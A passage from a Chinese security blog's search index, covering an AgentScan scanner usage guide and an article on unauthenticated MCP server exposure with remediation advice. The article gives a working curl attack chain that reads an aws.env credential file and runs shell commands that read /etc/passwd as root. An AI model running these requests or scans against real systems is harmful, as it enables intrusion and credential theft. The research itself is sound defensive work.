example.com:8000 https://api.example.com/mcp URL 格式会保留 path，优先探测该路径。比如 https://api.example.com/mcp 会先试 /mcp，再回退到内置路径字典。\n从文件读取：\nagentscan scan -f targets.txt 文件每行一个目标，支持 # 注释：\n10.0.0.1 10.0.0.2:8000 192.168.1.0/24 # 下面是已知有 MCP 的服务 https://api.internal.example.com/mcp 主要参数 -f, --file FILE 目标文件 -T, --threads N TCP 扫描并发，默认 500 --timeout MS TCP 连接超时，默认 2000ms --skip-port-scan 输入视为已开放的 host:port，跳过 TCP 扫描 --proxy URL 代理：socks5://、socks4://、https://、http:// --delay MS 请求间隔，附带 ±30% jitter -o, --output FILE 写 JSON（A2A/LLM 自动写 _a2a.json / _llm.json） --format terminal|json 输出格式，默认 terminal -v, --verbose 显示每个探测的进度 --no-color 禁用 ANSI 颜色 协议专属参数：\n--mcp-threads N MCP 探测并发，默认 50 --exclude-honeypots 过滤疑似蜜罐 --a2a-threads N A2A 探测并发，默认 50 --include-probable 包含\u0026#34;可能是 A2A\u0026#34;的结果（低置信度） --llm-threads N LLM 探测并发，默认 50 --template-dir DIR 自定义 LLM 指纹 YAML 模板目录 --verbose-raw JSON 输出中包含原始 HTTP 响应 典型场景 场景一：扫内网，找 AI 暴露面 如果你的内网已经有团队在跑 Ollama、LM Studio、FastMCP、各种 Demo Agent，但这些服务不是通过正式流程上线的，先扫一遍：\nagentscan scan 192.168.0.0/16 --timeout 300 --threads 2000 -o internal-ai.json 你会看到：\n哪些 MCP Server 没有认证（直接对应上一篇 MCP 文章里的问题） 哪些 Agent Card 公开了高危 skill 或内网地址（对应 A2A 文章里的问题） 哪些 LLM 推理 API 完全开放 哪些有认证但认证级别是什么 内网延迟低，可以调低 --timeout（比如 300ms）同时调高 --threads（比如 2000）。\n限制扫描端口可以节省时间：\nagentscan scan 10.0.0.0/16 --ports 80,443,8000,8080,8443,11434,3000,5000 --timeout 300 -o internal-ai.json 场景二：测绘平台结果二次验证 从 FOFA、Shodan、ZoomEye 或 Quake 导出 host:port 列表之后，加 --skip-port-scan 直接做协议层确认：\nagentscan scan -f fofa_export.txt --skip-port-scan --mcp-threads 200 -o verified.json 测绘平台的结果只是\u0026quot;可能是 MCP\u0026quot;，AgentScan 会做 JSON-RPC 握手确认：\n真实 MCP，还是只是 HTTP 服务 是否有认证 tools/list 返回什么 是蜜罐还是真实服务 场景三：masscan + AgentScan 大范围 TCP 扫描用 masscan，AI 协议识别用 AgentScan：\nmasscan 10.0.0.0/8 -p 80,443,8000,8080,11434 --rate 100000 -oL open_ports.txt awk \u0026#39;/open/ {print $4 \u0026#34;:\u0026#34; $3}\u0026#39; open_ports.txt \u0026gt; targets.txt agentscan scan -f targets.txt --skip-port-scan --timeout 3000 -o results.json 这适合企业大网段盘点和互联网测绘研究。\n场景四：定时巡检 AgentScan 的 JSON 输出可以直接接定时任务、SIEM 或资产系统：\nagentscan scan -f critical-ranges.txt --format json -o daily-$(date +%Y%m%d).json 关注变化：\n新增 no-auth MCP（有人悄悄部署了服务） 新增 open LLM API A2A JSON-RPC 无认证可达 Agent Card 暴露了新的私网地址或高危 skill 场景五：只看某类协议 只查 LLM 推理 API：\nagentscan llm -f targets.txt --skip-port-scan -o llm-results.json 只查 A2A：\nagentscan a2a 192.168.1.0/24 -o a2a-results.json 输出文件 scan -o results.json 会生成：\nresults.json # MCP 结果 results_a2a.json # A2A 结果 results_llm.json # LLM 结果 agentscan-report-*/ report.html # HTML 报告（中文） report_en.html # HTML 报告（英文） summary.txt # 文字摘要 JSON 顶层结构：\n{ \u0026#34;version\u0026#34;: \u0026#34;1.0\u0026#34;, \u0026#34;summary\u0026#34;: { \u0026#34;total\u0026#34;: 150, \u0026#34;mcp_found\u0026#34;: 3, \u0026#34;no_auth\u0026#34;: 2 }, \u0026#34;results\u0026#34;: [...] } 每条 result 包含：\nendpoint：命中的路径 transport：Streamable HTTP 或 HTTP+SSE legacy auth_status：no-auth / auth-required tools：工具列表（no-auth 时） evidence：指纹评分、信号和原始响应头 HTML 报告按 MCP / A2A / LLM 分 tab，适合快速浏览和交付。\n自定义字典 --dict-dir 支持覆盖内置路径和端口字典：\nmcp_ports.txt # MCP 探测端口 mcp_paths.txt # MCP 路径 mcp_paths_sse_legacy.txt # SSE legacy 路径 mcp_paths_auth.txt # 已知 auth 端点路径（用于 auth-required 判断） a2a_ports.txt # A2A 探测端口 a2a_paths.txt # A2A card 路径 llm_ports.txt # LLM 探测端口 https_ports.txt # 默认走 HTTPS 的端口 http_server_hints.txt # 判断 HTTP 服务的 Server header hints 文件每行一个值，空行和 # 注释忽略。\n自定义 LLM 指纹模板：\nagentscan llm -f targets.txt --template-dir ./my-templates 模板格式是 YAML，同名 info.name 会覆盖内置模板。详情见工作原理文章。\n和安全文章的对应关系 AgentScan 输出的每个字段对应着具体的暴露面问题：\n输出字段 对应问题 auth_status: no-auth MCP/A2A/LLM 无认证，任何人可访问 tools 非空 MCP 工具列表可枚举（MCP 文章第 2 节） resources 非空 MCP 资源 URI 可枚举，可能包含内部路径 private_host_in_card A2A Card 里有私网地址（A2A 文章第 3 节） json_rpc_reachable: true A2A JSON-RPC 端点无认证可达 honeypot_signals 非空 可能是蜜罐，加 --exclude-honeypots 过滤 工具的识别逻辑详见《AgentScan 工作原理》。\n","permalink":"https://7anX.github.io/agentscan/agentscan-use-cases/","summary":"\u003cp\u003e前两篇文章讲了 \u003ca href=\"/security-research/mcp-attack-surface/\"\u003eMCP\u003c/a\u003e 和 \u003ca href=\"/security-research/a2a-attack-surface/\"\u003eA2A\u003c/a\u003e 的暴露面问题。这篇讲怎么用 AgentScan 在实际环境里找出这些问题。\u003c/p\u003e\n\u003cp\u003eAgentScan 不是通用端口扫描器的套壳，它直接面向 MCP、A2A 和 LLM 推理 API 的协议层做识别。扫到\u0026quot;端口开着\u0026quot;是起点，不是终点——它继续往下做协议握手、能力枚举，输出认证状态和证据。\u003c/p\u003e","title":"AgentScan 使用说明：找出你环境里的 AI 暴露面"},{"content":"MCP（Model Context Protocol）是 Anthropic 在 2024 年底推出的开放协议，目标是让 LLM 能以标准化方式连接外部工具、数据库和服务。它的增长速度很快：一年内已经有数千个 MCP Server 实现，覆盖从数据库查询到 Kubernetes 操作的各类能力。\n但 MCP 的设计起点是\u0026quot;方便接入\u0026quot;，不是\u0026quot;安全部署\u0026quot;。这带来了一些值得关注的暴露面问题。\nMCP 协议是什么 先说清楚协议本身。MCP 基于 JSON-RPC 2.0，定义了 Client 与 Server 之间的通信方式。Server 暴露三类能力：\nTools：LLM 可调用的函数，比如 run_sql_query、deploy_k8s、send_email Resources：可读取的数据，比如文件内容、数据库记录 Prompts：预定义的提示词模板 传输层有两个版本：\nStreamable HTTP（2025-03-26 规范）：单个 HTTP 端点，POST 初始化，支持 SSE 响应流 HTTP+SSE legacy（2024-11-05 规范）：客户端 GET 建立 SSE 连接，再向 POST 端点发请求，通过 SSE 流接收响应 暴露面从哪里来 1. 没有强制认证 MCP 规范没有规定认证是必须的。规范提到了认证方案，但它是可选的，完全由 Server 实现者自行决定是否启用。\n这在实践中造成大量裸奔部署：\n# POST /mcp，不带任何 token 或认证头 # 返回包含工具列表的完整 initialize 响应 POST /mcp HTTP/1.1 Content-Type: application/json {\u0026#34;jsonrpc\u0026#34;:\u0026#34;2.0\u0026#34;,\u0026#34;id\u0026#34;:1,\u0026#34;method\u0026#34;:\u0026#34;initialize\u0026#34;,\u0026#34;params\u0026#34;:{\u0026#34;protocolVersion\u0026#34;:\u0026#34;2025-06-18\u0026#34;,\u0026#34;capabilities\u0026#34;:{},\u0026#34;clientInfo\u0026#34;:{\u0026#34;name\u0026#34;:\u0026#34;probe\u0026#34;,\u0026#34;version\u0026#34;:\u0026#34;1.0\u0026#34;}}} 响应可能直接给出：\n{ \u0026#34;result\u0026#34;: { \u0026#34;protocolVersion\u0026#34;: \u0026#34;2025-03-26\u0026#34;, \u0026#34;serverInfo\u0026#34;: {\u0026#34;name\u0026#34;: \u0026#34;my-internal-mcp\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;1.0\u0026#34;}, \u0026#34;capabilities\u0026#34;: { \u0026#34;tools\u0026#34;: {}, \u0026#34;resources\u0026#34;: {} } } } 服务存在，无认证，能力清单已经在里面了。\n2. 工具列表是公开的能力清单 确认了 no-auth 后，攻击者下一步是 tools/list：\n{\u0026#34;jsonrpc\u0026#34;:\u0026#34;2.0\u0026#34;,\u0026#34;id\u0026#34;:2,\u0026#34;method\u0026#34;:\u0026#34;tools/list\u0026#34;,\u0026#34;params\u0026#34;:{}} 返回的是工具名、描述和参数 schema。这个列表直接告诉你这个服务后面挂着什么：\n工具名 意味着什么 run_sql_query 可以直连数据库 execute_shell 可以在服务器上执行命令 deploy_to_k8s 可以控制 Kubernetes read_file / write_file 可以读写文件系统 send_slack_message 可以给 Slack 发消息 call_aws_api 可以调用 AWS 传统端口扫描扫到开放端口，你知道有个服务在跑，但不知道它能做什么。MCP tools/list 直接把能力边界摆出来。\n3. resources/list 可能泄露内部数据 resources/list 返回 Server 能访问的数据资源列表，包括 URI 和 MIME type：\n{ \u0026#34;resources\u0026#34;: [ {\u0026#34;uri\u0026#34;: \u0026#34;file:///etc/config/app.yaml\u0026#34;, \u0026#34;mimeType\u0026#34;: \u0026#34;text/yaml\u0026#34;}, {\u0026#34;uri\u0026#34;: \u0026#34;db://prod-db/users\u0026#34;, \u0026#34;mimeType\u0026#34;: \u0026#34;application/json\u0026#34;}, {\u0026#34;uri\u0026#34;: \u0026#34;s3://internal-bucket/keys/\u0026#34;, \u0026#34;mimeType\u0026#34;: \u0026#34;application/octet-stream\u0026#34;} ] } 这些 URI 本身就是信息泄露——它们暴露了内部文件路径、数据库名、S3 bucket 名，甚至可以直接看出 Server 运行在什么环境里。\n4. Prompts 可能泄露业务逻辑 prompts/list 会返回预定义的提示词模板，有时候这些模板包含：\n系统提示词（system prompt） 业务规则 内部角色定义 调试用的模板（包含内部路径或服务名） 这些在正常使用下是给 LLM 看的，不应该直接暴露给网络。\n5. 端口和路径的可枚举性 MCP Server 有相对固定的默认端口和路径：\n常见端口：8000、8080、3000、5000 常见路径：/mcp、/api/mcp、/v1/mcp、/sse、/mcp/sse 这些路径在主流框架中是默认值，部署时没有修改。扫描器可以用词典枚举，命中率很高。\n6. Session ID 的行为差异 一些 MCP Server 实现存在 Session ID 管理问题：\n两次 initialize 返回相同 Session ID（可能是蜜罐，也可能是有状态实现的 bug） Session ID 可猜测（递增整数或弱随机） Session 不校验来源 IP，任何人拿到 Session ID 就能接管会话 7. SSE Legacy 的路径泄露 HTTP+SSE legacy 传输里，Server 在 SSE 连接建立后会推送一个 endpoint event：\ndata: /messages/?session_id=abc123def456 这个 POST endpoint 路径有时包含内部信息：\ndata: /internal/mcp-server/v2/messages/?session_id=...\u0026amp;env=prod\u0026amp;region=us-east-1 路径本身就在泄露部署信息。\n攻击链：从发现到利用 上面说的每个暴露面不是孤立的，它们是攻击链上的连续步骤。完整走一遍：\nStep 1：发现服务\n端口扫描发现 10.0.12.44:8000 开着 HTTP。发一个 initialize：\ncurl -s -X POST http://10.0.12.44:8000/mcp \\ -H \u0026#34;Content-Type: application/json\u0026#34; \\ -d \u0026#39;{\u0026#34;jsonrpc\u0026#34;:\u0026#34;2.0\u0026#34;,\u0026#34;id\u0026#34;:1,\u0026#34;method\u0026#34;:\u0026#34;initialize\u0026#34;,\u0026#34;params\u0026#34;:{\u0026#34;protocolVersion\u0026#34;:\u0026#34;2025-03-26\u0026#34;,\u0026#34;capabilities\u0026#34;:{},\u0026#34;clientInfo\u0026#34;:{\u0026#34;name\u0026#34;:\u0026#34;test\u0026#34;,\u0026#34;version\u0026#34;:\u0026#34;1.0\u0026#34;}}}\u0026#39; 响应：\n{ \u0026#34;result\u0026#34;: { \u0026#34;protocolVersion\u0026#34;: \u0026#34;2025-03-26\u0026#34;, \u0026#34;serverInfo\u0026#34;: {\u0026#34;name\u0026#34;: \u0026#34;internal-ops-mcp\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;0.9.2\u0026#34;}, \u0026#34;capabilities\u0026#34;: {\u0026#34;tools\u0026#34;: {}, \u0026#34;resources\u0026#34;: {}} } } 服务存在，没有 401，没有 WWW-Authenticate。继续。\nStep 2：枚举能力\ncurl -s -X POST http://10.0.12.44:8000/mcp \\ -H \u0026#34;Content-Type: application/json\u0026#34; \\ -d \u0026#39;{\u0026#34;jsonrpc\u0026#34;:\u0026#34;2.0\u0026#34;,\u0026#34;id\u0026#34;:2,\u0026#34;method\u0026#34;:\u0026#34;tools/list\u0026#34;,\u0026#34;params\u0026#34;:{}}\u0026#39; 响应：\n{ \u0026#34;result\u0026#34;: { \u0026#34;tools\u0026#34;: [ { \u0026#34;name\u0026#34;: \u0026#34;run_shell\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Run a shell command on the server\u0026#34;, \u0026#34;inputSchema\u0026#34;: { \u0026#34;type\u0026#34;: \u0026#34;object\u0026#34;, \u0026#34;properties\u0026#34;: { \u0026#34;command\u0026#34;: {\u0026#34;type\u0026#34;: \u0026#34;string\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Shell command to execute\u0026#34;} }, \u0026#34;required\u0026#34;: [\u0026#34;command\u0026#34;] } }, { \u0026#34;name\u0026#34;: \u0026#34;read_file\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Read a file from the server filesystem\u0026#34;, \u0026#34;inputSchema\u0026#34;: { \u0026#34;type\u0026#34;: \u0026#34;object\u0026#34;, \u0026#34;properties\u0026#34;: {\u0026#34;path\u0026#34;: {\u0026#34;type\u0026#34;: \u0026#34;string\u0026#34;}}, \u0026#34;required\u0026#34;: [\u0026#34;path\u0026#34;] } }, { \u0026#34;name\u0026#34;: \u0026#34;query_db\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Run SQL query on production database\u0026#34;, \u0026#34;inputSchema\u0026#34;: { \u0026#34;type\u0026#34;: \u0026#34;object\u0026#34;, \u0026#34;properties\u0026#34;: { \u0026#34;sql\u0026#34;: {\u0026#34;type\u0026#34;: \u0026#34;string\u0026#34;}, \u0026#34;db\u0026#34;: {\u0026#34;type\u0026#34;: \u0026#34;string\u0026#34;, \u0026#34;default\u0026#34;: \u0026#34;prod_users\u0026#34;} }, \u0026#34;required\u0026#34;: [\u0026#34;sql\u0026#34;] } } ] } } 不需要逆向任何业务逻辑。三个工具，三条攻击路径，参数 schema 全写在里面。\nStep 3：读资源\ncurl -s -X POST http://10.0.12.44:8000/mcp \\ -H \u0026#34;Content-Type: application/json\u0026#34; \\ -d \u0026#39;{\u0026#34;jsonrpc\u0026#34;:\u0026#34;2.0\u0026#34;,\u0026#34;id\u0026#34;:3,\u0026#34;method\u0026#34;:\u0026#34;resources/list\u0026#34;,\u0026#34;params\u0026#34;:{}}\u0026#39; 响应：\n{ \u0026#34;result\u0026#34;: { \u0026#34;resources\u0026#34;: [ {\u0026#34;uri\u0026#34;: \u0026#34;file:///app/config/database.yaml\u0026#34;, \u0026#34;mimeType\u0026#34;: \u0026#34;text/yaml\u0026#34;}, {\u0026#34;uri\u0026#34;: \u0026#34;file:///app/config/aws.env\u0026#34;, \u0026#34;mimeType\u0026#34;: \u0026#34;text/plain\u0026#34;}, {\u0026#34;uri\u0026#34;: \u0026#34;db://prod-db/users\u0026#34;, \u0026#34;mimeType\u0026#34;: \u0026#34;application/json\u0026#34;} ] } } aws.env。继续。\nStep 4：读取敏感配置\ncurl -s -X POST http://10.0.12.44:8000/mcp \\ -H \u0026#34;Content-Type: application/json\u0026#34; \\ -d \u0026#39;{\u0026#34;jsonrpc\u0026#34;:\u0026#34;2.0\u0026#34;,\u0026#34;id\u0026#34;:4,\u0026#34;method\u0026#34;:\u0026#34;resources/read\u0026#34;,\u0026#34;params\u0026#34;:{\u0026#34;uri\u0026#34;:\u0026#34;file:///app/config/aws.env\u0026#34;}}\u0026#39; 响应：\n{ \u0026#34;result\u0026#34;: { \u0026#34;contents\u0026#34;: [ { \u0026#34;uri\u0026#34;: \u0026#34;file:///app/config/aws.env\u0026#34;, \u0026#34;mimeType\u0026#34;: \u0026#34;text/plain\u0026#34;, \u0026#34;text\u0026#34;: \u0026#34;AWS_ACCESS_KEY_ID=AKIA...\\nAWS_SECRET_ACCESS_KEY=...\\nAWS_DEFAULT_REGION=us-east-1\\n\u0026#34; } ] } } Step 5：调用工具\n用 run_shell 在服务器上执行命令：\ncurl -s -X POST http://10.0.12.44:8000/mcp \\ -H \u0026#34;Content-Type: application/json\u0026#34; \\ -d \u0026#39;{\u0026#34;jsonrpc\u0026#34;:\u0026#34;2.0\u0026#34;,\u0026#34;id\u0026#34;:5,\u0026#34;method\u0026#34;:\u0026#34;tools/call\u0026#34;,\u0026#34;params\u0026#34;:{\u0026#34;name\u0026#34;:\u0026#34;run_shell\u0026#34;,\u0026#34;arguments\u0026#34;:{\u0026#34;command\u0026#34;:\u0026#34;id \u0026amp;\u0026amp; hostname \u0026amp;\u0026amp; cat /etc/passwd | head -5\u0026#34;}}}\u0026#39; 响应：\n{ \u0026#34;result\u0026#34;: { \u0026#34;content\u0026#34;: [ { \u0026#34;type\u0026#34;: \u0026#34;text\u0026#34;, \u0026#34;text\u0026#34;: \u0026#34;uid=0(root) gid=0(root) groups=0(root)\\nprod-mcp-01\\nroot:x:0:0:root:/root:/bin/bash\\n...\u0026#34; } ] } } 从发现端口到 root shell，五个 JSON-RPC 请求，没有凭证，没有漏洞利用，没有 0day——协议设计本来就是这样工作的，只是没有加锁。\n这一条链的前提只有一个：Step 1 里 initialize 没有返回 401。\n为什么比传统 HTTP API 更危险 传统 REST API 暴露的是\u0026quot;接口\u0026quot;，MCP 暴露的是\u0026quot;能力\u0026quot;。\n区别很具体：一个 REST 端点可能是 POST /v1/data，攻击者需要研究参数、逆向业务逻辑才能知道能做什么。一个 MCP tools/list 直接返回结构化的能力清单，连参数 schema 都有，相当于服务自己提交了一份攻击面说明书。\n另外，MCP 后面接的往往是高权限操作。MCP 的设计初衷是\u0026quot;让 LLM 能做复杂的事情\u0026quot;，所以 Server 后面连着数据库、文件系统、Kubernetes、云账号是正常场景，而不是例外。\n实际情况 互联网上可以搜到开放的 MCP Server。用 FOFA、Shodan 或 ZoomEye 搜索特定的响应特征（比如 \u0026quot;protocolVersion\u0026quot; 和 \u0026quot;capabilities\u0026quot; 同时出现在 HTTP 响应里），能找到一些没有认证的实例。\n有些是故意公开的（测试用、Demo），有些是误暴露（内网服务被映射到公网，或者云服务器安全组配置不对）。\n区分两者需要协议层确认，而不只是端口判断。\n怎么检查自己的环境 最直接的方式是用 AgentScan 扫一遍内网：\nagentscan scan 10.0.0.0/16 -o results.json 它会扫出 MCP Server，并输出：\n认证状态（no-auth / auth-required） 工具列表（如果 no-auth） 资源列表 蜜罐信号 关于 AgentScan 的具体原理，见《AgentScan 工作原理：MCP、A2A 与 LLM 指纹识别》。\n修复建议 启用认证：MCP 规范支持 HTTP 认证头，用 Bearer Token 或 OAuth 2.0 做保护。 最小化工具暴露：不需要对外暴露的工具不要写进 tools/list。 限制访问来源：内网 MCP Server 不应该能从公网直接访问，用防火墙规则限制来源 IP。 不要在 resource URI 里写敏感路径：URI 会被枚举。 审查默认端口和路径：使用非默认路径可以降低被扫描器扫到的概率，但不是根本解决方案。 下一篇：A2A 暴露面的安全问题，讲 Agent Card 设计带来的暴露面问题。\n","permalink":"https://7anX.github.io/security-research/mcp-attack-surface/","summary":"\u003cp\u003eMCP（Model Context Protocol）是 Anthropic 在 2024 年底推出的开放协议，目标是让 LLM 能以标准化方式连接外部工具、数据库和服务。它的增长速度很快：一年内已经有数千个 MCP Server 实现，覆盖从数据库查询到 Kubernetes 操作的各类能力。\u003c/p\u003e","title":"MCP 暴露面的安全问题"},{"content":"这里是 7anX 的博客，主要分享技术学习笔记和实践经验。\n","permalink":"https://7anX.github.io/about/","summary":"\u003cp\u003e这里是 7anX 的博客，主要分享技术学习笔记和实践经验。\u003c/p\u003e","title":"关于"}]